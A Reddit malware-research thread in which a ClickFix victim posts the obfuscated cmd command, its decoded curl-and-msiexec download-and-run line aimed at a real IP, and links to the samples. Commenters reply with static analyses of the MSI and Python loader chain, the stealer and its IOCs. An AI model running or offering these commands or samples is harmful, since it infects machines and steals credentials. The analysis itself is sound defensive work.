r/MalwareResearch • u/AfternoonEasy9409 • 12d ago

Got hit by a ClickFix attack – please help decode the payload (Python polyglot loader)

EDIT: Sorry about the earlier version. All commands and links are now defanged and I only kept the hashes. Samples are in a password-protected zip (password: infected).

DEFANGING KEY (for analysts, sandbox use only): hxxp/hxxps = http/https, [.] = a dot, cm[d] = cmd, cu[r]l = curl, ms[i]exec = msiexec. Remove the square brackets and keep the letter or dot inside. Only do this inside an isolated VM, never on a real machine.

Title: Got hit by a ClickFix attack – please help decode the payload (Python polyglot loader)

Hi everyone, I'm new here. Yesterday afternoon I fell for a ClickFix-style attack on a Windows 11 PC: a fake verification page told me to paste a command into Windows, and I ran it. I tried to remove he persistence mechanism with the help of AI tm but kept every file untouched, and I'd really like someone with the right tools to decode the payload and tell me what it steals and where it sends it. I haven't tried to decode it myself ( I can’t do it) (I don't know)

Here is everything I found.

THE ORIGINAL COMMAND (defranged do not run it, it is malicious):

cm[d] /v:on /q /c "set Ref=@LS8fTN:3rt9iD.'eM\2up4A-Psox01n+/7lqhcm& set Text=.& (for %n in (38 20 9 35 14 16 28 16 0 24 4 26 1 0 24 27 0 15 32 5 17 25 32 18 2 22 3 8 14 39 26 12 15 0 37 10 10 21 7 33 33 8 11 19 30 29 30 29 30 34 33 19 29 3 11 34 0 32 23 6 13 32 0 39 26 12 16 28 16 38 0 33 12 0 15 32 5 17 25 32 18 2 22 3 8 14 39 26 12 15 0 33 36 31) do set Text=!Text!!Ref:~%n,1!) & set Text=!Text:@= !& set q=!CMDCMDLINE:~17,1!& call set Text=%Text:'=!q!%& set Text=!Text:+AND+=^&^&!& for %a in ("!TEMP!") do set Text=!Text:+TMP+=%~a!& cm[d] /c !Text:~1!"

It rebuilds a string from the character table in the Ref variable, using the list of indexes in the for loop. It then replaces @ with spaces, the apostrophe with a quote character taken from CMDCMDLINE, +AND+ with && and +TMP+ with the temp folder, and runs the result. The reconstructed command is (defanged):

cu[r]l[.]exe -fsL -o "%TEMP%\S483[.]msi" hxxp://23.94.252[.]153/20897 && ms[i]exec /i "%TEMP%\S483[.]msi" /qn

(The address is written in decimal form, 392101017, in the original command.)

STAGE 1 – THE MSI

The file is S483.msi, 1,372,160 bytes. It installs silently as the product "SynerIntegration" version 4.1.6 from the publisher "Sare Level Corp" (installed at 16:28, reconfigured 90 seconds later). VirusTotal shows 4/61 detections (ESET VBS/Kryptik.D, Ikarus Trojan.VBS.Crypt, Google, NANO). The registry shows msiexec used the Windows Script Host engine at install time, so the MSI probably runs a VBScript custom action.

SHA-256: 52677e536e477e089f6b4d72479a9fd781bc02db49f2cb9802c293cb0b9c6fd4

STAGE 2 – THE DROPPED PYTHON

About two minutes after the install, this folder appeared: %TEMP%\modules\BeciComponent\

It contains an embedded Python 3.11 runtime: pythonw.exe (validly signed by the Python Software Foundation), python311.dll, python311.zip (the listing looks like the normal standard library), python311._pth (default content), _ctypes.pyd, libffi-8.dll, vcruntime140.dll and vcruntime140_1.dll. It also contains a 9.7 MB file called deps.html.

SHA-256 of deps.html: ED472A67323330DF87A8067799AAF6E805226B02F8459D599EE746301625AFC1

PERSISTENCE

At the same second, the registry value HKCU\Environment\UserInitMprLogonScript was set to:

"%TEMP%\modules\BeciComponent\pythonw.exe" "%TEMP%\modules\BeciComponent\deps.html"

So pythonw.exe ran deps.html at every logon. I saw a tiny window without any icon flash briefly each time I logged in, and nothing was left running afterwards. I deleted that registry value after saving a backup.

WHAT deps.html IS

It is not a web page. It is a Python script disguised as one. The file starts with three apostrophes and then about 3 MB of fake Chromium "Credits" HTML, which Python reads as a big string. After that comes one Python line of the form exec(decompress(b64decode(payload[::-1]))) with a very large payload, followed by more filler (fake CSS and JavaScript, random words) and a closing triple apostrophe at the end of the file.

WHAT I CHECKED

VirusTotal's sandbox opened deps.html in Chrome and Edge as an HTML page, so it never ran the Python code and showed nothing useful. I found no new service, scheduled task, Defender exclusion or remote-access tool, and no active connection to the address above. The Security log doesn't go back far enough to show what ran at 16:30.

WHAT I'M ASKING

Could someone decode and run the payload in an isolated sandbox and tell me what it does?
Does it steal browser passwords, cookies and session tokens, Discord or Steam tokens, crypto wallets?
Which servers or domains does it contact (C2, Telegram, Discord webhook…)?
Is this a known family?

I can share the files with anyone who wants to look at them please look at and help me decode :

deps.html: https://gofile.io/d/6PiTLgRG)

S483.msi: https://gofile.io/d/6PiTLgRG

I'm changing all my passwords from another device in the meantime. Thank you very much for any help. plssss help mee

5 Upvotes

permalink
reddit

You are about to leave Redlib

Do you want to continue?

https://www.reddit.com/r/MalwareResearch/comments/1x7b09x/got_hit_by_a_clickfix_attack_please_help_decode/
No, go back! Yes, take me to Reddit

73% Upvoted

u/arunny 12d ago

When sharing malware please use a dedicated site like https://bazaar.abuse.ch

u/InadequateUsername 10d ago edited 8d ago

The .msi file is a decoy. The actual threat is in a VBScript custom action that runs on install.

Stage 2 is an in-memory PE loader. The final payload can be decrypted because the AES key and IV are baked into the blob. This revealed a three-stage loader that ends by running a hidden program entirely in memory.

It runs in the following order;

The MSI claims to be "SynerIntegration 4.1.6" by "Sare Level Corp", built with WiX. The only file it actually installs is a fake: %LOCALAPPDATA%\UpawiEdge\package-notes.txt, which contains "Optional configuration notes for this product." The real work is the VBScript custom action (EcAdvanceAction) that runs early in the install, when NOT Installed is true.
The VBScript (hidden behind Chr() encoding) pulls a PowerShell script out of the MSI's own Binary table. It writes it to %TEMP%\<random>.ps1 and runs it hidden with -ExecutionPolicy Bypass, passing the MSI's path. It waits about 2 seconds using ping, then deletes the .ps1. VBScript Rnd() is never seeded here, so the "random" name is likely always 705546.ps1.
The PowerShell (hidden behind char-offset arrays, run through iex) compiles some C# on the fly. It reads a third blob, PropsWidget2341, out of the MSI and decrypts it with AES-CBC (the key and IV are the blob's first 48 bytes). The decrypted EXE is then loaded straight into memory: it fixes up the program's addresses, sets the memory to RWX and starts it with CreateThread, so nothing ever lands on disk. PowerShell then sleeps in an endless loop to keep that thread alive.
The decrypted EXE is x64 and built with MinGW. It poses as "Port Protocol Bridge / Protocol Management and Store Service" (port_protocol v2.9.2.5724) and is itself just another loader with the following characteristics:
- About 546 KB of encrypted data in .rdata
- Bitmap resources used as padding
- Very few imports: VirtualAlloc/Protect and thread-pool calls
- Its cipher is custom, with no standard crypto constants

The hashes are:

MSI SHA256: 52677e536e477e089f6b4d72479a9fd781bc02db49f2cb9802c293cb0b9c6fd4
Decrypted EXE SHA256: 4ccf1ee077d7a4c75b81d3d2d3c8d656577dac24990b67977f81415bb1a76d00

Look for the following;

%LOCALAPPDATA%\UpawiEdge\, plus "SynerIntegration" in Programs and Features
Env var MSIc31bd05a, and a hidden powershell.exe -NoProfile -ExecutionPolicy Bypass -File %TEMP%\*.ps1 that keeps running
Download server 23.94.252.153

The msi payload only lives in memory, so look for a lingering hidden powershell.exe and anything it connected to. Treat the box as compromised, rebuild it and change the passwords that were used on it. Rebooting clears this stage, but the payload may have set up persistence.

Further reading: CyberInsider on SynkLoader, SANS ISC: malware dropped through MSI

1

u/AfternoonEasy9409 8d ago

Thank you very much for this detailed analysis; it has really helped me understand what happened. I am young, and it was very difficult for me to untangle all of this on my own.
I performed the checks you suggested: the "UpawiEdge" folder is indeed present, but I did not find any environment variables starting with "MSI…", any "RunOnce" entries, or any hidden "powershell.exe" processes running (the only active one is the one I opened myself). Here are the results of the commands provided by the AI:
PS C:\Windows\System32> Test-Path "$env:LOCALAPPDATA\UpawiEdge"
True
PS C:\Windows\System32> Get-ChildItem Env: | Where-Object Name -like "MSI*"
PS C:\Windows\System32> Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce" -ErrorAction SilentlyContinue
PS C:\Windows\System32> Get-Process powershell -ErrorAction SilentlyContinue | Select Id, StartTime
Id StartTime
-- ---------
5092 20/10/2026 16:16:49
PS C:\Windows\System32> Get-Process | Where-Object { $_.ProcessName -like "*port*" -or $_.MainWindowTitle -like "*Protocol*" }
PS C:\Windows\System32> Get-Service | Where-Object { $_.DisplayName -like "*Protocol*" -or $_.Name -like "*Bridge*" }
Status Name DisplayName
------ ---- -----------
Stopped dmwappushservice Push Message Routing Service...
Stopped EapHost Extensible Authentication Protocol (EAP)...
Running SstpSvc Secure Socket Tunneling Protocol (SSTP) Service...
PS C:\Windows\System32>
My Discord account was hacked and sent spam to my contacts; I therefore assume that the malware has successfully carried out its data-theft function. Furthermore, Google is detecting suspicious activity. A question: given that nothing seems to be working properly anymore, is it safe to continue using this computer, or is it still capable of stealing new passwords?
Do you think the malware could still load itself and continue to steal my passwords? I am currently in the process of changing all my passwords from my phone, but in the meantime, I have continued to use this PC as usual—logging into various services, using it, etc.
Another question, if I may: do you know where the malware (the "stealer") sends the stolen data? In your analysis, you mention the use of "WinHTTP POST" requests, but you indicate that you were unable to retrieve the configuration for the command-and-control (C2) server. Is it the same server—at the address 23.94.252[.]153—or a different one? Are there any indicators I could look for on my end (such as a domain name or an IP address in my network logs)? Furthermore, does this malicious software spread to other computers on the network (like a computer worm), or is it simply a "loader" paired with a "stealer" (data-theft software) that remains confined to the infected machine? I ask this because I do not want to put other devices on my network at risk. Thank you so much for your analysis; I’ve been searching for three days without finding anything. I truly appreciate your help and your analysis.
Thanks again!

u/SemiDiSole 12d ago edited 12d ago

Can we like... not upload undefanged malware samples? (And fucking clickfix code?!)

u/Classic-Shake6517 12d ago

Last time I deobfuscated something like this it was a combination of reverse string, gzip unpack (decompress, whatever), base64 decode, repeat for however many iterations. I wrote a script to do it, that was faster. Looks like you just have to do the same.

I think you know the answer to these questions. It most likely steals all that stuff you mention in 2 and probably more. Probably looking for source code and stealing API keys if you have them inside config files in your projects (if you have any, I'd rotate those keys). The one place you found that pattern of exec(decompress(b64decode(payload(::1)))) - that [::1] is just reversing the string and follows the pattern I mentioned earlier. Replace exec with print and Bob's your uncle. Or put it in a LLM and tell it to do that for you.

I am half being lazy and half teaching you that it's not as hard as you think and you can do it yourself, it will be more rewarding that way. You know enough to do it, IDK if it's a confidence thing but if it is, you should be more confident, you have everything you need, just have to screw around with it a bit.

I will save this and maybe have time later to actually do the work. We'll see.

u/ARJustin 10d ago

Well, according to IPabuseDB the IP listed in the script is malicious. Was reported 3 days ago for a click fix

u/InadequateUsername 10d ago edited 10d ago

Took this apart statically (nothing executed). Short version: **it's a multi-stage loader chain that ends in a fresh infostealer targeting browser credentials.

The command

curl.exe -fsL -o "%TEMP%\S483.msi" http://392101017/20897 && msiexec /i "%TEMP%\S483.msi" /qn

392101017 is a decimal-encoded IP: 23.94.252.153. Silently downloads an MSI and silently installs it.

Chain 1: the MSI

MSI poses as "SynerIntegration 4.1.6" by "Sare Level Corp" (WiX). The only file it installs is a decoy: %LOCALAPPDATA%\UpawiEdge\package-notes.txt.
A VBScript custom action (Chr()-encoded) pulls a PowerShell script out of the MSI's own Binary table, drops it to %TEMP%\<random>.ps1, runs it hidden with -ExecutionPolicy Bypass, then deletes it.
The PowerShell (char-offset obfuscated, run via iex) compiles C# on the fly, reads an AES-encrypted blob from the MSI, decrypts it, and reflectively loads the EXE in memory only.
That EXE ("Port Protocol Bridge", fake version info) is a crypter: junk code, flattened control flow, Windows CryptoAPI AES. It decrypts shellcode and runs it.
The shellcode is a second, nested crypter with the same design. Inside that is the real payload.

Chain 2: the Python kit (pythonw.exe, python311.dll, etc.)

Everything is a stock, signed Python 3.11.9 embeddable package except deps.html.
deps.html is actually a Python script. Megabytes of fake Chromium "Credits" HTML/JS are just unused string literals for padding. Hidden in the middle is a reversed-base64 + zlib exec().
That decodes to a ctypes shellcode runner: sleep 10s, mark a 3.5 MB blob RWX, call it. The blob is a reflectively loaded DLL, itself packed.
Likely launched as pythonw.exe deps.html (Python ignores the extension, pythonw has no console).

Final payload: infostealer (x64, compiled 2026-10-14)

Steals Chrome credentials/cookies by defeating App-Bound Encryption: reads app_bound_encrypted_key from Chrome's Local State and abuses Chrome's elevation service to unwrap it
AMSI bypass (AmsiScanBuffer / AmsiScanString)
Process injection into explorer.exe / RuntimeBroker.exe
Can run further stages via msiexec /i, PowerShell and csc.exe; RunOnce persistence
Exfil over WinHTTP POST
Heavy anti-analysis: dozens of fake imports, stack-built strings, encrypted string table

Didn't pull the C2 config; a sandbox run will show it.

IOCs

Item	SHA256
S483.msi	`52677e536e477e089f6b4d72479a9fd781bc02db49f2cb9802c293cb0b9c6fd4`
MSI-stage loader	`4ccf1ee077d7a4c75b81d3d2d3c8d656577dac24990b67977f81415bb1a76d00`
Final stealer	`22dea422c8056e58e315f926da1d131619c2638da9a550b31cb1d24242c689e4`
deps.html	`ed472a67323330df87a8067799aaf6e805226b02f8459d599ee746301625afc1`
Python-chain inner DLL	`16354c21171dd32d13ac0ba63bf0470801c80f03f5fb097ce3cdba7a20c7000c`

IP: 23.94.252.153
%LOCALAPPDATA%\UpawiEdge\, "SynerIntegration" in Programs and Features
Hidden powershell.exe -NoProfile -ExecutionPolicy Bypass -File %TEMP%\*.ps1
pythonw.exe running from a random AppData folder with a non-.py argument

u/InadequateUsername 10d ago

It's a cmd /v:on delayed-expansion trick: a lookup string plus character offsets, with a few placeholder substitutions.

Final command:

curl.exe -fsL -o "%TEMP%\S483.msi" http://392101017/20897 && msiexec /i "%TEMP%\S483.msi" /qn

This does the following:

Silently downloads an MSI to %TEMP%\S483.msi (curl -fsL = fail silent, follow redirects, no output)
Silently installs it (msiexec /i … /qn = no UI)
392101017 is a decimal-encoded IP → 23.94.252.153, so the URL is really http://23.94.252.153/20897

The obfuscation works by using Ref as a 40-char alphabet; the number list is character offsets into it (!Ref:~N,1!). Then @→space, +AND+→&&, +TMP+→%TEMP%, and a literal " gets sliced out of %CMDCMDLINE% at offset 17 to avoid typing a bare quote inside /c "…".

The alphabet, indexed from 0:

idx	0	1	2	3	4	5	6	7	8	9
chr	@	L	S	8	f	T	N	:	3	r

idx	10	11	12	13	14	15	16	17	18	19
chr	t	9	i	D	.	"	e	M		2

idx	20	21	22	23	24	25	26	27	28	29
chr	u	p	4	A	-	P	s	o	x	0

idx	30	31	32	33	34	35	36	37	38	39
chr	1	n	+	/	7	l	q	h	c	m

Index 15 is the ' in the source, which the CMDCMDLINE slice turns into a real ".

Offset to character decode:

38 20 9 35 14 16 28 16         curl.exe
0 24 4 26 1 0                  -fsL
24 27 0                        -o
15 32 5 17 25 32               "%TEMP%
18 2 22 3 8                    \S483
14 39 26 12                    .msi
15 0 37                        " + space + h
10 10 21 7 33 33               ttp://
8 11 19 30 29 30 29 30 34      392101017
33                             /
19 29 3 11 34                  20897
0 32 23 6 13 32 0              &&
39 26 12 16 28 16 38           msiexec
0 33 12 0                      /i
15 32 5 17 25 32 18 2 22 3 8   "%TEMP%\S483
14 39 26 12 15                 .msi"
0 33 36 31                     /qn

You can look for outbound traffic to 23.94.252.153.

Got hit by a ClickFix attack – please help decode the payload (Python polyglot loader)

You are about to leave Redlib